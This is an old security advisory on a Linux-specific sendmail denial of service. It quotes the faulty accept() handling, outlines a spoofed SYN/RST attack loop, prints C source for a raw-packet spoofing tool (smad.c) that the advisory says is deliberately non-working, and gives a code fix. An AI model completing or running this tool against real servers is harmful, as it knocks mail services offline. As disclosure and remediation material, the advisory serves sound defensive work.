COMMAND

    sendmail

SYSTEMS AFFECTED

    Sendmail x.x.x DoS on Linux systems

PROBLEM

    Michal Zalewski  found following.   Take a  look at  this piece of
    code (src/daemon.c):

                        t = accept(DaemonSocket,
                            (struct sockaddr *)&RealHostAddr, &lotherend);
                        if (t >= 0 || errno != EINTR)
                                break;
                }
                savederrno = errno;
                (void) blocksignal(SIGALRM);
                if (t < 0)
                {
                        errno = savederrno;
                        syserr("getrequests: accept");

                        /* arrange to re-open the socket next time around */
                        (void) close(DaemonSocket);
                        DaemonSocket = -1;
                        refusingconnections = TRUE;
                        sleep(5);
                        continue;
                }

    What we have here? Hmm, if accept() fails and syscall return  code
    != EINTR, Sendmail writes warning message and refuses  connections
    for 5  seconds.   Hmm... Cute,  isn't it?   What about 'Connection
    reset by peer'?  Our algorithm is simple:

        1. Send SYN from port  X to victim, dst_port=25 (victim  sends
           SYN/ACK)
        2. Send  RST  from  port  X to victim, dst=port=25  respecting
           sequence numbers (victim got error on accept() - and enters
           5 sec 'refusingconn' mode)
        3. Wait approx. 2 seconds
        4. Go to 1.

    So,  by  sending  just  a  few  bytes  every two seconds, we could
    completely lock sendmail service.   There's no reason to post  any
    exploits.  RFC + any source (teardrop is good) + 'tcpdump -x' + 15
    minutes = exploit.   This attack is  specific to LINUX.   On  UNIX
    systems with a BSD TCP/IP  protocol stack, the accept() call  does
    not return until the three-way handshake completes.

    Following expolit shows how Sendmail and Qmail vulnerabilities can
    be exploited through spoofed packets. In fact the simple algorithm
    proposed by Michal  Zalewski above.   The source is  for Linux and
    there is a  little bug so  it doesn't work.   This DoS works  only
    against Linux  boxes because  Linux accept()  returns a  different
    errno.

    /*
     * smad.c - sendmail accept dos -
     *
     * Salvatore Sanfilippo [AntireZ]
     * Intesis SECURITY LAB            Phone: +39-2-671563.1
     * Via Settembrini, 35             Fax: +39-2-66981953
     * I-20124 Milano  ITALY           Email: antirez@seclab.com
     *                                         md5330@mclink.it
     *
     * compile it under Linux with gcc -Wall -o smad smad.c
     *
     * usage: smad fakeaddr victim [port]
     */

    #include <unistd.h>
    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/tcp.h>
    #include <netinet/ip.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <unistd.h>

    #define SLEEP_UTIME 100000 /* modify it if necessary */

    #define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct tcphdr))
    #define OFFSETTCP  (sizeof(struct iphdr))
    #define OFFSETIP   (0)

    u_short cksum(u_short *buf, int nwords)
    {
            unsigned long sum;
            u_short *w = buf;

            for (sum = 0; nwords > 0; nwords-=2)
                    sum += *w++;

            sum = (sum >> 16) + (sum & 0xffff);
            sum += (sum >> 16);
            return ~sum;
    }

    void resolver (struct sockaddr * addr, char *hostname, u_short port)
    {
            struct  sockaddr_in *address;
            struct  hostent     *host;

            address = (struct sockaddr_in *)addr;

            (void) bzero((char *)address, sizeof(struct sockaddr_in));
            address->sin_family = AF_INET;
            address->sin_port = htons(port);
            address->sin_addr.s_addr = inet_addr(hostname);

            if ( (int)address->sin_addr.s_addr == -1) {
                    host = gethostbyname(hostname);
                    if (host) {
                            bcopy( host->h_addr,
                            (char *)&address->sin_addr,host->h_length);
                    } else {
                            perror("Could not resolve address");
                            exit(-1);
                    }
            }
    }

    int main(int argc, char **argv)
    {
            char runchar[] = "|/-\\";
            char packet[PACKETSIZE],
            *fromhost,
            *tohost;

            u_short fromport        = 3000,
                    toport          = 25;

            struct sockaddr_in local, remote;
            struct iphdr    *ip     = (struct iphdr*)  (packet + OFFSETIP);
            struct tcphdr   *tcp    = (struct tcphdr*) (packet + OFFSETTCP);

            struct  tcp_pseudohdr
            {
                    struct in_addr saddr;
                    struct in_addr daddr;
                    u_char zero;
                    u_char protocol;
                    u_short lenght;
                    struct tcphdr tcpheader;
            } pseudoheader;

            int sock, result, runcharid = 0;

            if (argc < 3)
            {
                    printf("usage: %s fakeaddr victim [port]\n", argv[0]);
                    exit(0);
            }
            if (argc == 4)
                    toport = atoi(argv[3]);

            bzero((void*)packet, PACKETSIZE);
            fromhost = argv[1];
            tohost = argv[2];

            resolver((struct sockaddr*)&local, fromhost, fromport);
            resolver((struct sockaddr*)&remote, tohost, toport);

            sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
            if (sock == -1) {
                    perror("can't get raw socket");
                    exit(1);
            }

            /* src addr */
            bcopy((char*)&local.sin_addr, &ip->saddr,sizeof(ip->saddr));
            /* dst addr */
            bcopy((char*)&remote.sin_addr,&ip->daddr,sizeof(ip->daddr));

            ip->version = 4;
            ip->ihl     = sizeof(struct iphdr)/4;
            ip->tos     = 0;
            ip->tot_len = htons(PACKETSIZE);
            ip->id      = htons(getpid() & 255);
            /* no flags */
            ip->frag_off = 0;
            ip->ttl     = 64;
            ip->protocol = 6;
            ip->check   = 0;

            tcp->th_dport = htons(toport);
            tcp->th_sport = htons(fromport);
            tcp->th_seq   = htonl(32089744);
            tcp->th_ack   = htonl(0);
            tcp->th_off   = sizeof(struct tcphdr)/4;
            /* 6 bit reserved */
            tcp->th_flags = TH_SYN;
            tcp->th_win   = htons(512);

            /* start of pseudo header stuff */
            bzero(&pseudoheader, 12+sizeof(struct tcphdr));
            pseudoheader.saddr.s_addr=local.sin_addr.s_addr;
            pseudoheader.daddr.s_addr=remote.sin_addr.s_addr;
            pseudoheader.protocol = 6;
            pseudoheader.lenght = htons(sizeof(struct tcphdr));
            bcopy((char*) tcp, (char*) &pseudoheader.tcpheader,
                    sizeof(struct tcphdr));
            /* end */

            tcp->th_sum   = cksum((u_short *) &pseudoheader,
                                    12+sizeof(struct tcphdr));
            /* 16 bit urg */

            while (0)
            {
                    result = sendto(sock, packet, PACKETSIZE, 0,
                            (struct sockaddr *)&remote, sizeof(remote));
                    if (result != PACKETSIZE)
                    {
                            perror("sending packet");
                            exit(0);
                    }
                    printf("\b");
                    printf("%c", runchar[runcharid]);
                    fflush(stdout);
                    runcharid++;
                    if (runcharid == 4)
                            runcharid = 0;
                    usleep(SLEEP_UTIME);
            }

            return 0;
    }

SOLUTION

    Remove  this  stupid  sleep(...),  and  probably  whole if (t < 0)
    handler.  Replace it with continue; .  And yes Linux 2.1.x matches
    BSD behaviour here.